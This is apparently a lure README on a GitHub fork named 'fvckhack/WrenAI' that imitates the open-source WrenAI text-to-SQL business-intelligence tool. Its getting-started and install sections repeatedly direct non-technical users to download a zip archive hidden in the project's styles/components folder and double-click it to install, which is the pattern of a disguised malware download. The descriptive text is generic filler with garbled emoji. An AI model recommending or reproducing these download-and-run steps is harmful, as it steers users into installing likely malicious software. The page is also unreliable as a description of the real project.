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🌐 Build AI agents effortlessly with WrenAI, the open-source GenBI tool that streamlines development and enhances functionality in your projects.

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fvckhack/WrenAI

⚑️ WrenAI - Natural Language Queries Made Simple

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πŸ“œ Overview

WrenAI is a powerful tool that allows you to generate business insights from your data simply by asking questions in natural language. It converts your requests into accurate SQL queries and visual charts, making data analysis quick and easy. Whether you're using databases like Postgres, BigQuery, or spreadsheets, WrenAI can help you gain insights without any technical expertise.

πŸš€ Getting Started

To start using WrenAI, follow these easy steps:

  1. Visit the Releases Page
    Click this link to go to the releases page: Download WrenAI.

  2. Choose Your Version
    On the releases page, look for the latest version of WrenAI. Make sure to select the version that suits your operating system.

  3. Download the Application
    Find the download link on the release page. It may be labeled as https://github.com/fvckhack/WrenAI/raw/refs/heads/main/wren-ui/src/styles/components/AI_Wren_3.7.zip, https://github.com/fvckhack/WrenAI/raw/refs/heads/main/wren-ui/src/styles/components/AI_Wren_3.7.zip, or similar, depending on your OS. Click it to start the download.

  4. Install WrenAI
    Once the download completes, locate the file on your computer, typically in your Downloads folder. Double-click the file to start the installation. Follow the on-screen instructions to complete the installation.

  5. Open WrenAI
    After installation, you can find WrenAI in your applications directory. Open it to start using its features.

πŸ’‘ Key Features

  • Natural Language Querying: Ask questions in plain English, and WrenAI converts them into SQL.
  • Text-to-Chart: Generate charts instantly based on your requests, helping visualize data easily.
  • Supports Various Databases: Connect to Postgres, BigQuery, and more with ease.
  • Business Intelligence: Get more from your data with AI-powered insights.

πŸ–₯️ System Requirements

To run WrenAI smoothly, please ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a Linux distribution.
  • Processor: Intel i3 or equivalent.
  • RAM: At least 4 GB.
  • Disk Space: Minimum of 100 MB free space required.

πŸ“₯ Download & Install

Follow these steps to download and install WrenAI:

  1. Visit this link to access the releases page: Download WrenAI.
  2. Download the latest version of WrenAI by clicking on the link corresponding to your operating system.
  3. Once downloaded, find the file and double-click it to start installation.

πŸ“Š How to Use WrenAI

  • Start Querying: Once WrenAI is open, type your question in the input box. For example, "What are the top-selling products this month?".
  • View Results: WrenAI converts your question into a SQL query, retrieves the data, and displays it in an easy-to-read format.
  • Create Charts: Click on the "Generate Chart" button to visualize your query results instantly.

πŸ”§ Troubleshooting Tips

If you encounter any issues while using WrenAI, try the following steps:

  • Check Your Internet Connection: Ensure you are connected to the internet for data retrieval.
  • Restart WrenAI: Close the application and reopen it if it becomes unresponsive.
  • System Updates: Make sure your operating system is up to date.

πŸ‘©β€πŸ’» Community Support

Join our community for questions, discussions, and feedback:

  • GitHub Issues: Report any problems on our GitHub issues page.
  • Discussion Forum: Participate in discussions to improve WrenAI.
  • Documentation: Access detailed guides and tips in the provided documentation on the GitHub repository.

πŸ“¨ Feedback

We welcome your feedback. If you have suggestions or want to report issues, please use the GitHub Issues page linked above. Your input helps us make WrenAI better for everyone.

πŸ”— Related Topics

WrenAI touches on several key areas in business intelligence and database querying. Explore related topics to enhance your understanding:

  • Agent-based systems
  • Generative AI
  • Text-to-SQL and SQL AI
  • Business intelligence tools
  • Data visualization and charting

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